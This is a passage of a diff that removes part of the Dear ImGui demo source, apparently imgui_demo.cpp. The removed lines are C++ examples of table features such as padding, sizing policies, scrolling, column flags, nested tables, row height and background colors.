ImGuiTableFlags_Resizable); - ImGui::CheckboxFlags("ImGuiTableFlags_Reorderable", &flags, ImGuiTableFlags_Reorderable); - ImGui::CheckboxFlags("ImGuiTableFlags_Hideable", &flags, ImGuiTableFlags_Hideable); - ImGui::CheckboxFlags("ImGuiTableFlags_NoBordersInBody", &flags, ImGuiTableFlags_NoBordersInBody); - ImGui::CheckboxFlags("ImGuiTableFlags_NoBordersInBodyUntilResize", &flags, ImGuiTableFlags_NoBordersInBodyUntilResize); ImGui::SameLine(); HelpMarker("Disable vertical borders in columns Body until hovered for resize (borders will always appears in Headers)"); - PopStyleCompact(); - - if (ImGui::BeginTable("table1", 3, flags)) - { - // Submit columns name with TableSetupColumn() and call TableHeadersRow() to create a row with a header in each column. - // (Later we will show how TableSetupColumn() has other uses, optional flags, sizing weight etc.) - ImGui::TableSetupColumn("One"); - ImGui::TableSetupColumn("Two"); - ImGui::TableSetupColumn("Three"); - ImGui::TableHeadersRow(); - for (int row = 0; row < 6; row++) - { - ImGui::TableNextRow(); - for (int column = 0; column < 3; column++) - { - ImGui::TableSetColumnIndex(column); - ImGui::Text("Hello %d,%d", column, row); - } - } - ImGui::EndTable(); - } - - // Use outer_size.x == 0.0f instead of default to make the table as tight as possible (only valid when no scrolling and no stretch column) - if (ImGui::BeginTable("table2", 3, flags | ImGuiTableFlags_SizingFixedFit, ImVec2(0.0f, 0.0f))) - { - ImGui::TableSetupColumn("One"); - ImGui::TableSetupColumn("Two"); - ImGui::TableSetupColumn("Three"); - ImGui::TableHeadersRow(); - for (int row = 0; row < 6; row++) - { - ImGui::TableNextRow(); - for (int column = 0; column < 3; column++) - { - ImGui::TableSetColumnIndex(column); - ImGui::Text("Fixed %d,%d", column, row); - } - } - ImGui::EndTable(); - } - ImGui::TreePop(); - } - - if (open_action != -1) - ImGui::SetNextItemOpen(open_action != 0); - if (ImGui::TreeNode("Padding")) - { - // First example: showcase use of padding flags and effect of BorderOuterV/BorderInnerV on X padding. - // We don't expose BorderOuterH/BorderInnerH here because they have no effect on X padding. - HelpMarker( - "We often want outer padding activated when any using features which makes the edges of a column visible:\n" - "e.g.:\n" - "- BorderOuterV\n" - "- any form of row selection\n" - "Because of this, activating BorderOuterV sets the default to PadOuterX. Using PadOuterX or NoPadOuterX you can override the default.\n\n" - "Actual padding values are using style.CellPadding.\n\n" - "In this demo we don't show horizontal borders to emphasis how they don't affect default horizontal padding."); - - static ImGuiTableFlags flags1 = ImGuiTableFlags_BordersV; - PushStyleCompact(); - ImGui::CheckboxFlags("ImGuiTableFlags_PadOuterX", &flags1, ImGuiTableFlags_PadOuterX); - ImGui::SameLine(); HelpMarker("Enable outer-most padding (default if ImGuiTableFlags_BordersOuterV is set)"); - ImGui::CheckboxFlags("ImGuiTableFlags_NoPadOuterX", &flags1, ImGuiTableFlags_NoPadOuterX); - ImGui::SameLine(); HelpMarker("Disable outer-most padding (default if ImGuiTableFlags_BordersOuterV is not set)"); - ImGui::CheckboxFlags("ImGuiTableFlags_NoPadInnerX", &flags1, ImGuiTableFlags_NoPadInnerX); - ImGui::SameLine(); HelpMarker("Disable inner padding between columns (double inner padding if BordersOuterV is on, single inner padding if BordersOuterV is off)"); - ImGui::CheckboxFlags("ImGuiTableFlags_BordersOuterV", &flags1, ImGuiTableFlags_BordersOuterV); - ImGui::CheckboxFlags("ImGuiTableFlags_BordersInnerV", &flags1, ImGuiTableFlags_BordersInnerV); - static bool show_headers = false; - ImGui::Checkbox("show_headers", &show_headers); - PopStyleCompact(); - - if (ImGui::BeginTable("table_padding", 3, flags1)) - { - if (show_headers) - { - ImGui::TableSetupColumn("One"); - ImGui::TableSetupColumn("Two"); - ImGui::TableSetupColumn("Three"); - ImGui::TableHeadersRow(); - } - - for (int row = 0; row < 5; row++) - { - ImGui::TableNextRow(); - for (int column = 0; column < 3; column++) - { - ImGui::TableSetColumnIndex(column); - if (row == 0) - { - ImGui::Text("Avail %.2f", ImGui::GetContentRegionAvail().x); - } - else - { - char buf[32]; - sprintf(buf, "Hello %d,%d", column, row); - ImGui::Button(buf, ImVec2(-FLT_MIN, 0.0f)); - } - //if (ImGui::TableGetColumnFlags() & ImGuiTableColumnFlags_IsHovered) - // ImGui::TableSetBgColor(ImGuiTableBgTarget_CellBg, IM_COL32(0, 100, 0, 255)); - } - } - ImGui::EndTable(); - } - - // Second example: set style.CellPadding to (0.0) or a custom value. - // FIXME-TABLE: Vertical border effectively not displayed the same way as horizontal one... - HelpMarker("Setting style.CellPadding to (0,0) or a custom value."); - static ImGuiTableFlags flags2 = ImGuiTableFlags_Borders | ImGuiTableFlags_RowBg; - static ImVec2 cell_padding(0.0f, 0.0f); - static bool show_widget_frame_bg = true; - - PushStyleCompact(); - ImGui::CheckboxFlags("ImGuiTableFlags_Borders", &flags2, ImGuiTableFlags_Borders); - ImGui::CheckboxFlags("ImGuiTableFlags_BordersH", &flags2, ImGuiTableFlags_BordersH); - ImGui::CheckboxFlags("ImGuiTableFlags_BordersV", &flags2, ImGuiTableFlags_BordersV); - ImGui::CheckboxFlags("ImGuiTableFlags_BordersInner", &flags2, ImGuiTableFlags_BordersInner); - ImGui::CheckboxFlags("ImGuiTableFlags_BordersOuter", &flags2, ImGuiTableFlags_BordersOuter); - ImGui::CheckboxFlags("ImGuiTableFlags_RowBg", &flags2, ImGuiTableFlags_RowBg); - ImGui::CheckboxFlags("ImGuiTableFlags_Resizable", &flags2, ImGuiTableFlags_Resizable); - ImGui::Checkbox("show_widget_frame_bg", &show_widget_frame_bg); - ImGui::SliderFloat2("CellPadding", &cell_padding.x, 0.0f, 10.0f, "%.0f"); - PopStyleCompact(); - - ImGui::PushStyleVar(ImGuiStyleVar_CellPadding, cell_padding); - if (ImGui::BeginTable("table_padding_2", 3, flags2)) - { - static char text_bufs[3 * 5][16]; // Mini text storage for 3x5 cells - static bool init = true; - if (!show_widget_frame_bg) - ImGui::PushStyleColor(ImGuiCol_FrameBg, 0); - for (int cell = 0; cell < 3 * 5; cell++) - { - ImGui::TableNextColumn(); - if (init) - strcpy(text_bufs[cell], "edit me"); - ImGui::SetNextItemWidth(-FLT_MIN); - ImGui::PushID(cell); - ImGui::InputText("##cell", text_bufs[cell], IM_ARRAYSIZE(text_bufs[cell])); - ImGui::PopID(); - } - if (!show_widget_frame_bg) - ImGui::PopStyleColor(); - init = false; - ImGui::EndTable(); - } - ImGui::PopStyleVar(); - - ImGui::TreePop(); - } - - if (open_action != -1) - ImGui::SetNextItemOpen(open_action != 0); - if (ImGui::TreeNode("Sizing policies")) - { - static ImGuiTableFlags flags1 = ImGuiTableFlags_BordersV | ImGuiTableFlags_BordersOuterH | ImGuiTableFlags_RowBg | ImGuiTableFlags_ContextMenuInBody; - PushStyleCompact(); - ImGui::CheckboxFlags("ImGuiTableFlags_Resizable", &flags1, ImGuiTableFlags_Resizable); - ImGui::CheckboxFlags("ImGuiTableFlags_NoHostExtendX", &flags1, ImGuiTableFlags_NoHostExtendX); - PopStyleCompact(); - - static ImGuiTableFlags sizing_policy_flags[4] = { ImGuiTableFlags_SizingFixedFit, ImGuiTableFlags_SizingFixedSame, ImGuiTableFlags_SizingStretchProp, ImGuiTableFlags_SizingStretchSame }; - for (int table_n = 0; table_n < 4; table_n++) - { - ImGui::PushID(table_n); - ImGui::SetNextItemWidth(TEXT_BASE_WIDTH * 30); - EditTableSizingFlags(&sizing_policy_flags[table_n]); - - // To make it easier to understand the different sizing policy, - // For each policy: we display one table where the columns have equal contents width, and one where the columns have different contents width. - if (ImGui::BeginTable("table1", 3, sizing_policy_flags[table_n] | flags1)) - { - for (int row = 0; row < 3; row++) - { - ImGui::TableNextRow(); - ImGui::TableNextColumn(); ImGui::Text("Oh dear"); - ImGui::TableNextColumn(); ImGui::Text("Oh dear"); - ImGui::TableNextColumn(); ImGui::Text("Oh dear"); - } - ImGui::EndTable(); - } - if (ImGui::BeginTable("table2", 3, sizing_policy_flags[table_n] | flags1)) - { - for (int row = 0; row < 3; row++) - { - ImGui::TableNextRow(); - ImGui::TableNextColumn(); ImGui::Text("AAAA"); - ImGui::TableNextColumn(); ImGui::Text("BBBBBBBB"); - ImGui::TableNextColumn(); ImGui::Text("CCCCCCCCCCCC"); - } - ImGui::EndTable(); - } - ImGui::PopID(); - } - - ImGui::Spacing(); - ImGui::TextUnformatted("Advanced"); - ImGui::SameLine(); - HelpMarker("This section allows you to interact and see the effect of various sizing policies depending on whether Scroll is enabled and the contents of your columns."); - - enum ContentsType { CT_ShowWidth, CT_ShortText, CT_LongText, CT_Button, CT_FillButton, CT_InputText }; - static ImGuiTableFlags flags = ImGuiTableFlags_ScrollY | ImGuiTableFlags_Borders | ImGuiTableFlags_RowBg | ImGuiTableFlags_Resizable; - static int contents_type = CT_ShowWidth; - static int column_count = 3; - - PushStyleCompact(); - ImGui::PushID("Advanced"); - ImGui::PushItemWidth(TEXT_BASE_WIDTH * 30); - EditTableSizingFlags(&flags); - ImGui::Combo("Contents", &contents_type, "Show width\0Short Text\0Long Text\0Button\0Fill Button\0InputText\0"); - if (contents_type == CT_FillButton) - { - ImGui::SameLine(); - HelpMarker("Be mindful that using right-alignment (e.g. size.x = -FLT_MIN) creates a feedback loop where contents width can feed into auto-column width can feed into contents width."); - } - ImGui::DragInt("Columns", &column_count, 0.1f, 1, 64, "%d", ImGuiSliderFlags_AlwaysClamp); - ImGui::CheckboxFlags("ImGuiTableFlags_Resizable", &flags, ImGuiTableFlags_Resizable); - ImGui::CheckboxFlags("ImGuiTableFlags_PreciseWidths", &flags, ImGuiTableFlags_PreciseWidths); - ImGui::SameLine(); HelpMarker("Disable distributing remainder width to stretched columns (width allocation on a 100-wide table with 3 columns: Without this flag: 33,33,34. With this flag: 33,33,33). With larger number of columns, resizing will appear to be less smooth."); - ImGui::CheckboxFlags("ImGuiTableFlags_ScrollX", &flags, ImGuiTableFlags_ScrollX); - ImGui::CheckboxFlags("ImGuiTableFlags_ScrollY", &flags, ImGuiTableFlags_ScrollY); - ImGui::CheckboxFlags("ImGuiTableFlags_NoClip", &flags, ImGuiTableFlags_NoClip); - ImGui::PopItemWidth(); - ImGui::PopID(); - PopStyleCompact(); - - if (ImGui::BeginTable("table2", column_count, flags, ImVec2(0.0f, TEXT_BASE_HEIGHT * 7))) - { - for (int cell = 0; cell < 10 * column_count; cell++) - { - ImGui::TableNextColumn(); - int column = ImGui::TableGetColumnIndex(); - int row = ImGui::TableGetRowIndex(); - - ImGui::PushID(cell); - char label[32]; - static char text_buf[32] = ""; - sprintf(label, "Hello %d,%d", column, row); - switch (contents_type) - { - case CT_ShortText: ImGui::TextUnformatted(label); break; - case CT_LongText: ImGui::Text("Some %s text %d,%d\nOver two lines..", column == 0 ? "long" : "longeeer", column, row); break; - case CT_ShowWidth: ImGui::Text("W: %.1f", ImGui::GetContentRegionAvail().x); break; - case CT_Button: ImGui::Button(label); break; - case CT_FillButton: ImGui::Button(label, ImVec2(-FLT_MIN, 0.0f)); break; - case CT_InputText: ImGui::SetNextItemWidth(-FLT_MIN); ImGui::InputText("##", text_buf, IM_ARRAYSIZE(text_buf)); break; - } - ImGui::PopID(); - } - ImGui::EndTable(); - } - ImGui::TreePop(); - } - - if (open_action != -1) - ImGui::SetNextItemOpen(open_action != 0); - if (ImGui::TreeNode("Vertical scrolling, with clipping")) - { - HelpMarker("Here we activate ScrollY, which will create a child window container to allow hosting scrollable contents.\n\nWe also demonstrate using ImGuiListClipper to virtualize the submission of many items."); - static ImGuiTableFlags flags = ImGuiTableFlags_ScrollY | ImGuiTableFlags_RowBg | ImGuiTableFlags_BordersOuter | ImGuiTableFlags_BordersV | ImGuiTableFlags_Resizable | ImGuiTableFlags_Reorderable | ImGuiTableFlags_Hideable; - - PushStyleCompact(); - ImGui::CheckboxFlags("ImGuiTableFlags_ScrollY", &flags, ImGuiTableFlags_ScrollY); - PopStyleCompact(); - - // When using ScrollX or ScrollY we need to specify a size for our table container! - // Otherwise by default the table will fit all available space, like a BeginChild() call. - ImVec2 outer_size = ImVec2(0.0f, TEXT_BASE_HEIGHT * 8); - if (ImGui::BeginTable("table_scrolly", 3, flags, outer_size)) - { - ImGui::TableSetupScrollFreeze(0, 1); // Make top row always visible - ImGui::TableSetupColumn("One", ImGuiTableColumnFlags_None); - ImGui::TableSetupColumn("Two", ImGuiTableColumnFlags_None); - ImGui::TableSetupColumn("Three", ImGuiTableColumnFlags_None); - ImGui::TableHeadersRow(); - - // Demonstrate using clipper for large vertical lists - ImGuiListClipper clipper; - clipper.Begin(1000); - while (clipper.Step()) - { - for (int row = clipper.DisplayStart; row < clipper.DisplayEnd; row++) - { - ImGui::TableNextRow(); - for (int column = 0; column < 3; column++) - { - ImGui::TableSetColumnIndex(column); - ImGui::Text("Hello %d,%d", column, row); - } - } - } - ImGui::EndTable(); - } - ImGui::TreePop(); - } - - if (open_action != -1) - ImGui::SetNextItemOpen(open_action != 0); - if (ImGui::TreeNode("Horizontal scrolling")) - { - HelpMarker( - "When ScrollX is enabled, the default sizing policy becomes ImGuiTableFlags_SizingFixedFit, " - "as automatically stretching columns doesn't make much sense with horizontal scrolling.\n\n" - "Also note that as of the current version, you will almost always want to enable ScrollY along with ScrollX," - "because the container window won't automatically extend vertically to fix contents (this may be improved in future versions)."); - static ImGuiTableFlags flags = ImGuiTableFlags_ScrollX | ImGuiTableFlags_ScrollY | ImGuiTableFlags_RowBg | ImGuiTableFlags_BordersOuter | ImGuiTableFlags_BordersV | ImGuiTableFlags_Resizable | ImGuiTableFlags_Reorderable | ImGuiTableFlags_Hideable; - static int freeze_cols = 1; - static int freeze_rows = 1; - - PushStyleCompact(); - ImGui::CheckboxFlags("ImGuiTableFlags_Resizable", &flags, ImGuiTableFlags_Resizable); - ImGui::CheckboxFlags("ImGuiTableFlags_ScrollX", &flags, ImGuiTableFlags_ScrollX); - ImGui::CheckboxFlags("ImGuiTableFlags_ScrollY", &flags, ImGuiTableFlags_ScrollY); - ImGui::SetNextItemWidth(ImGui::GetFrameHeight()); - ImGui::DragInt("freeze_cols", &freeze_cols, 0.2f, 0, 9, NULL, ImGuiSliderFlags_NoInput); - ImGui::SetNextItemWidth(ImGui::GetFrameHeight()); - ImGui::DragInt("freeze_rows", &freeze_rows, 0.2f, 0, 9, NULL, ImGuiSliderFlags_NoInput); - PopStyleCompact(); - - // When using ScrollX or ScrollY we need to specify a size for our table container! - // Otherwise by default the table will fit all available space, like a BeginChild() call. - ImVec2 outer_size = ImVec2(0.0f, TEXT_BASE_HEIGHT * 8); - if (ImGui::BeginTable("table_scrollx", 7, flags, outer_size)) - { - ImGui::TableSetupScrollFreeze(freeze_cols, freeze_rows); - ImGui::TableSetupColumn("Line #", ImGuiTableColumnFlags_NoHide); // Make the first column not hideable to match our use of TableSetupScrollFreeze() - ImGui::TableSetupColumn("One"); - ImGui::TableSetupColumn("Two"); - ImGui::TableSetupColumn("Three"); - ImGui::TableSetupColumn("Four"); - ImGui::TableSetupColumn("Five"); - ImGui::TableSetupColumn("Six"); - ImGui::TableHeadersRow(); - for (int row = 0; row < 20; row++) - { - ImGui::TableNextRow(); - for (int column = 0; column < 7; column++) - { - // Both TableNextColumn() and TableSetColumnIndex() return true when a column is visible or performing width measurement. - // Because here we know that: - // - A) all our columns are contributing the same to row height - // - B) column 0 is always visible, - // We only always submit this one column and can skip others. - // More advanced per-column clipping behaviors may benefit from polling the status flags via TableGetColumnFlags(). - if (!ImGui::TableSetColumnIndex(column) && column > 0) - continue; - if (column == 0) - ImGui::Text("Line %d", row); - else - ImGui::Text("Hello world %d,%d", column, row); - } - } - ImGui::EndTable(); - } - - ImGui::Spacing(); - ImGui::TextUnformatted("Stretch + ScrollX"); - ImGui::SameLine(); - HelpMarker( - "Showcase using Stretch columns + ScrollX together: " - "this is rather unusual and only makes sense when specifying an 'inner_width' for the table!\n" - "Without an explicit value, inner_width is == outer_size.x and therefore using Stretch columns + ScrollX together doesn't make sense."); - static ImGuiTableFlags flags2 = ImGuiTableFlags_SizingStretchSame | ImGuiTableFlags_ScrollX | ImGuiTableFlags_ScrollY | ImGuiTableFlags_BordersOuter | ImGuiTableFlags_RowBg | ImGuiTableFlags_ContextMenuInBody; - static float inner_width = 1000.0f; - PushStyleCompact(); - ImGui::PushID("flags3"); - ImGui::PushItemWidth(TEXT_BASE_WIDTH * 30); - ImGui::CheckboxFlags("ImGuiTableFlags_ScrollX", &flags2, ImGuiTableFlags_ScrollX); - ImGui::DragFloat("inner_width", &inner_width, 1.0f, 0.0f, FLT_MAX, "%.1f"); - ImGui::PopItemWidth(); - ImGui::PopID(); - PopStyleCompact(); - if (ImGui::BeginTable("table2", 7, flags2, outer_size, inner_width)) - { - for (int cell = 0; cell < 20 * 7; cell++) - { - ImGui::TableNextColumn(); - ImGui::Text("Hello world %d,%d", ImGui::TableGetColumnIndex(), ImGui::TableGetRowIndex()); - } - ImGui::EndTable(); - } - ImGui::TreePop(); - } - - if (open_action != -1) - ImGui::SetNextItemOpen(open_action != 0); - if (ImGui::TreeNode("Columns flags")) - { - // Create a first table just to show all the options/flags we want to make visible in our example! - const int column_count = 3; - const char* column_names[column_count] = { "One", "Two", "Three" }; - static ImGuiTableColumnFlags column_flags[column_count] = { ImGuiTableColumnFlags_DefaultSort, ImGuiTableColumnFlags_None, ImGuiTableColumnFlags_DefaultHide }; - static ImGuiTableColumnFlags column_flags_out[column_count] = { 0, 0, 0 }; // Output from TableGetColumnFlags() - - if (ImGui::BeginTable("table_columns_flags_checkboxes", column_count, ImGuiTableFlags_None)) - { - PushStyleCompact(); - for (int column = 0; column < column_count; column++) - { - ImGui::TableNextColumn(); - ImGui::PushID(column); - ImGui::AlignTextToFramePadding(); // FIXME-TABLE: Workaround for wrong text baseline propagation - ImGui::Text("'%s'", column_names[column]); - ImGui::Spacing(); - ImGui::Text("Input flags:"); - EditTableColumnsFlags(&column_flags[column]); - ImGui::Spacing(); - ImGui::Text("Output flags:"); - ShowTableColumnsStatusFlags(column_flags_out[column]); - ImGui::PopID(); - } - PopStyleCompact(); - ImGui::EndTable(); - } - - // Create the real table we care about for the example! - // We use a scrolling table to be able to showcase the difference between the _IsEnabled and _IsVisible flags above, otherwise in - // a non-scrolling table columns are always visible (unless using ImGuiTableFlags_NoKeepColumnsVisible + resizing the parent window down) - const ImGuiTableFlags flags - = ImGuiTableFlags_SizingFixedFit | ImGuiTableFlags_ScrollX | ImGuiTableFlags_ScrollY - | ImGuiTableFlags_RowBg | ImGuiTableFlags_BordersOuter | ImGuiTableFlags_BordersV - | ImGuiTableFlags_Resizable | ImGuiTableFlags_Reorderable | ImGuiTableFlags_Hideable | ImGuiTableFlags_Sortable; - ImVec2 outer_size = ImVec2(0.0f, TEXT_BASE_HEIGHT * 9); - if (ImGui::BeginTable("table_columns_flags", column_count, flags, outer_size)) - { - for (int column = 0; column < column_count; column++) - ImGui::TableSetupColumn(column_names[column], column_flags[column]); - ImGui::TableHeadersRow(); - for (int column = 0; column < column_count; column++) - column_flags_out[column] = ImGui::TableGetColumnFlags(column); - float indent_step = (float)((int)TEXT_BASE_WIDTH / 2); - for (int row = 0; row < 8; row++) - { - ImGui::Indent(indent_step); // Add some indentation to demonstrate usage of per-column IndentEnable/IndentDisable flags. - ImGui::TableNextRow(); - for (int column = 0; column < column_count; column++) - { - ImGui::TableSetColumnIndex(column); - ImGui::Text("%s %s", (column == 0) ? "Indented" : "Hello", ImGui::TableGetColumnName(column)); - } - } - ImGui::Unindent(indent_step * 8.0f); - - ImGui::EndTable(); - } - ImGui::TreePop(); - } - - if (open_action != -1) - ImGui::SetNextItemOpen(open_action != 0); - if (ImGui::TreeNode("Columns widths")) - { - HelpMarker("Using TableSetupColumn() to setup default width."); - - static ImGuiTableFlags flags1 = ImGuiTableFlags_Borders | ImGuiTableFlags_NoBordersInBodyUntilResize; - PushStyleCompact(); - ImGui::CheckboxFlags("ImGuiTableFlags_Resizable", &flags1, ImGuiTableFlags_Resizable); - ImGui::CheckboxFlags("ImGuiTableFlags_NoBordersInBodyUntilResize", &flags1, ImGuiTableFlags_NoBordersInBodyUntilResize); - PopStyleCompact(); - if (ImGui::BeginTable("table1", 3, flags1)) - { - // We could also set ImGuiTableFlags_SizingFixedFit on the table and all columns will default to ImGuiTableColumnFlags_WidthFixed. - ImGui::TableSetupColumn("one", ImGuiTableColumnFlags_WidthFixed, 100.0f); // Default to 100.0f - ImGui::TableSetupColumn("two", ImGuiTableColumnFlags_WidthFixed, 200.0f); // Default to 200.0f - ImGui::TableSetupColumn("three", ImGuiTableColumnFlags_WidthFixed); // Default to auto - ImGui::TableHeadersRow(); - for (int row = 0; row < 4; row++) - { - ImGui::TableNextRow(); - for (int column = 0; column < 3; column++) - { - ImGui::TableSetColumnIndex(column); - if (row == 0) - ImGui::Text("(w: %5.1f)", ImGui::GetContentRegionAvail().x); - else - ImGui::Text("Hello %d,%d", column, row); - } - } - ImGui::EndTable(); - } - - HelpMarker("Using TableSetupColumn() to setup explicit width.\n\nUnless _NoKeepColumnsVisible is set, fixed columns with set width may still be shrunk down if there's not enough space in the host."); - - static ImGuiTableFlags flags2 = ImGuiTableFlags_None; - PushStyleCompact(); - ImGui::CheckboxFlags("ImGuiTableFlags_NoKeepColumnsVisible", &flags2, ImGuiTableFlags_NoKeepColumnsVisible); - ImGui::CheckboxFlags("ImGuiTableFlags_BordersInnerV", &flags2, ImGuiTableFlags_BordersInnerV); - ImGui::CheckboxFlags("ImGuiTableFlags_BordersOuterV", &flags2, ImGuiTableFlags_BordersOuterV); - PopStyleCompact(); - if (ImGui::BeginTable("table2", 4, flags2)) - { - // We could also set ImGuiTableFlags_SizingFixedFit on the table and all columns will default to ImGuiTableColumnFlags_WidthFixed. - ImGui::TableSetupColumn("", ImGuiTableColumnFlags_WidthFixed, 100.0f); - ImGui::TableSetupColumn("", ImGuiTableColumnFlags_WidthFixed, TEXT_BASE_WIDTH * 15.0f); - ImGui::TableSetupColumn("", ImGuiTableColumnFlags_WidthFixed, TEXT_BASE_WIDTH * 30.0f); - ImGui::TableSetupColumn("", ImGuiTableColumnFlags_WidthFixed, TEXT_BASE_WIDTH * 15.0f); - for (int row = 0; row < 5; row++) - { - ImGui::TableNextRow(); - for (int column = 0; column < 4; column++) - { - ImGui::TableSetColumnIndex(column); - if (row == 0) - ImGui::Text("(w: %5.1f)", ImGui::GetContentRegionAvail().x); - else - ImGui::Text("Hello %d,%d", column, row); - } - } - ImGui::EndTable(); - } - ImGui::TreePop(); - } - - if (open_action != -1) - ImGui::SetNextItemOpen(open_action != 0); - if (ImGui::TreeNode("Nested tables")) - { - HelpMarker("This demonstrate embedding a table into another table cell."); - - if (ImGui::BeginTable("table_nested1", 2, ImGuiTableFlags_Borders | ImGuiTableFlags_Resizable | ImGuiTableFlags_Reorderable | ImGuiTableFlags_Hideable)) - { - ImGui::TableSetupColumn("A0"); - ImGui::TableSetupColumn("A1"); - ImGui::TableHeadersRow(); - - ImGui::TableNextColumn(); - ImGui::Text("A0 Row 0"); - { - float rows_height = TEXT_BASE_HEIGHT * 2; - if (ImGui::BeginTable("table_nested2", 2, ImGuiTableFlags_Borders | ImGuiTableFlags_Resizable | ImGuiTableFlags_Reorderable | ImGuiTableFlags_Hideable)) - { - ImGui::TableSetupColumn("B0"); - ImGui::TableSetupColumn("B1"); - ImGui::TableHeadersRow(); - - ImGui::TableNextRow(ImGuiTableRowFlags_None, rows_height); - ImGui::TableNextColumn(); - ImGui::Text("B0 Row 0"); - ImGui::TableNextColumn(); - ImGui::Text("B1 Row 0"); - ImGui::TableNextRow(ImGuiTableRowFlags_None, rows_height); - ImGui::TableNextColumn(); - ImGui::Text("B0 Row 1"); - ImGui::TableNextColumn(); - ImGui::Text("B1 Row 1"); - - ImGui::EndTable(); - } - } - ImGui::TableNextColumn(); ImGui::Text("A1 Row 0"); - ImGui::TableNextColumn(); ImGui::Text("A0 Row 1"); - ImGui::TableNextColumn(); ImGui::Text("A1 Row 1"); - ImGui::EndTable(); - } - ImGui::TreePop(); - } - - if (open_action != -1) - ImGui::SetNextItemOpen(open_action != 0); - if (ImGui::TreeNode("Row height")) - { - HelpMarker("You can pass a 'min_row_height' to TableNextRow().\n\nRows are padded with 'style.CellPadding.y' on top and bottom, so effectively the minimum row height will always be >= 'style.CellPadding.y * 2.0f'.\n\nWe cannot honor a _maximum_ row height as that would requires a unique clipping rectangle per row."); - if (ImGui::BeginTable("table_row_height", 1, ImGuiTableFlags_BordersOuter | ImGuiTableFlags_BordersInnerV)) - { - for (int row = 0; row < 10; row++) - { - float min_row_height = (float)(int)(TEXT_BASE_HEIGHT * 0.30f * row); - ImGui::TableNextRow(ImGuiTableRowFlags_None, min_row_height); - ImGui::TableNextColumn(); - ImGui::Text("min_row_height = %.2f", min_row_height); - } - ImGui::EndTable(); - } - ImGui::TreePop(); - } - - if (open_action != -1) - ImGui::SetNextItemOpen(open_action != 0); - if (ImGui::TreeNode("Outer size")) - { - // Showcasing use of ImGuiTableFlags_NoHostExtendX and ImGuiTableFlags_NoHostExtendY - // Important to that note how the two flags have slightly different behaviors! - ImGui::Text("Using NoHostExtendX and NoHostExtendY:"); - PushStyleCompact(); - static ImGuiTableFlags flags = ImGuiTableFlags_Borders | ImGuiTableFlags_Resizable | ImGuiTableFlags_ContextMenuInBody | ImGuiTableFlags_RowBg | ImGuiTableFlags_SizingFixedFit | ImGuiTableFlags_NoHostExtendX; - ImGui::CheckboxFlags("ImGuiTableFlags_NoHostExtendX", &flags, ImGuiTableFlags_NoHostExtendX); - ImGui::SameLine(); HelpMarker("Make outer width auto-fit to columns, overriding outer_size.x value.\n\nOnly available when ScrollX/ScrollY are disabled and Stretch columns are not used."); - ImGui::CheckboxFlags("ImGuiTableFlags_NoHostExtendY", &flags, ImGuiTableFlags_NoHostExtendY); - ImGui::SameLine(); HelpMarker("Make outer height stop exactly at outer_size.y (prevent auto-extending table past the limit).\n\nOnly available when ScrollX/ScrollY are disabled. Data below the limit will be clipped and not visible."); - PopStyleCompact(); - - ImVec2 outer_size = ImVec2(0.0f, TEXT_BASE_HEIGHT * 5.5f); - if (ImGui::BeginTable("table1", 3, flags, outer_size)) - { - for (int row = 0; row < 10; row++) - { - ImGui::TableNextRow(); - for (int column = 0; column < 3; column++) - { - ImGui::TableNextColumn(); - ImGui::Text("Cell %d,%d", column, row); - } - } - ImGui::EndTable(); - } - ImGui::SameLine(); - ImGui::Text("Hello!"); - - ImGui::Spacing(); - - ImGui::Text("Using explicit size:"); - if (ImGui::BeginTable("table2", 3, ImGuiTableFlags_Borders | ImGuiTableFlags_RowBg, ImVec2(TEXT_BASE_WIDTH * 30, 0.0f))) - { - for (int row = 0; row < 5; row++) - { - ImGui::TableNextRow(); - for (int column = 0; column < 3; column++) - { - ImGui::TableNextColumn(); - ImGui::Text("Cell %d,%d", column, row); - } - } - ImGui::EndTable(); - } - ImGui::SameLine(); - if (ImGui::BeginTable("table3", 3, ImGuiTableFlags_Borders | ImGuiTableFlags_RowBg, ImVec2(TEXT_BASE_WIDTH * 30, 0.0f))) - { - for (int row = 0; row < 3; row++) - { - ImGui::TableNextRow(0, TEXT_BASE_HEIGHT * 1.5f); - for (int column = 0; column < 3; column++) - { - ImGui::TableNextColumn(); - ImGui::Text("Cell %d,%d", column, row); - } - } - ImGui::EndTable(); - } - - ImGui::TreePop(); - } - - if (open_action != -1) - ImGui::SetNextItemOpen(open_action != 0); - if (ImGui::TreeNode("Background color")) - { - static ImGuiTableFlags flags = ImGuiTableFlags_RowBg; - static int row_bg_type = 1; - static int row_bg_target = 1; - static int cell_bg_type = 1; - - PushStyleCompact(); - ImGui::CheckboxFlags("ImGuiTableFlags_Borders", &flags, ImGuiTableFlags_Borders); - ImGui::CheckboxFlags("ImGuiTableFlags_RowBg", &flags, ImGuiTableFlags_RowBg); - ImGui::SameLine(); HelpMarker("ImGuiTableFlags_RowBg automatically sets RowBg0 to alternative colors pulled from the Style."); - ImGui::Combo("row bg type", (int*)&row_bg_type, "None\0Red\0Gradient\0"); - ImGui::Combo("row bg target", (int*)&row_bg_target, "RowBg0\0RowBg1\0"); ImGui::SameLine(); HelpMarker("Target RowBg0 to override the alternating odd/even colors,\nTarget RowBg1 to blend with them."); - ImGui::Combo("cell bg type", (int*)&cell_bg_type, "None\0Blue\0"); ImGui::SameLine(); HelpMarker("We are colorizing cells to B1->C2 here."); - IM_ASSERT(row_bg_type >= 0 && row_bg_type <= 2); - IM_ASSERT(row_bg_target >= 0 && row_bg_target <= 1); - IM_ASSERT(cell_bg_type >= 0 && cell_bg_type <= 1); - PopStyleCompact(); - - if (ImGui::BeginTable("table1", 5, flags)) - { - for (int row = 0; row < 6; row++) - { - ImGui::TableNextRow(); - - // Demonstrate setting a row background color with 'ImGui::TableSetBgColor(ImGuiTableBgTarget_RowBgX, ...)' - // We use a transparent color so we can see the one behind in case our target is RowBg1 and RowBg0 was already targeted by the ImGuiTableFlags_RowBg flag. - if (row_bg_type != 0) - { - ImU32 row_bg_color = ImGui::GetColorU32(row_bg_type == 1 ? ImVec4(0.7f, 0.3f, 0.3f, 0.65f) : ImVec4(0.2f + row * 0.1f, 0.2f, 0.2f, 0.65f)); // Flat or Gradient? - ImGui::TableSetBgColor(ImGuiTableBgTarget_RowBg0 + row_bg_target, row_bg_color); - } - - // Fill cells - for (int column = 0; column < 5; column++) - { - ImGui::TableSetColumnIndex(column); - ImGui::Text("%c%c", 'A' + row, '0' + column); - - // Change background of Cells B1->C2 - // Demonstrate setting a cell background color with 'ImGui::TableSetBgColor(ImGuiTableBgTarget_CellBg, ...)' - // (the CellBg color will be blended over the RowBg and ColumnBg colors) - // We can also pass a column number as a third parameter to TableSetBgColor() and do this outside the column loop. - if (row 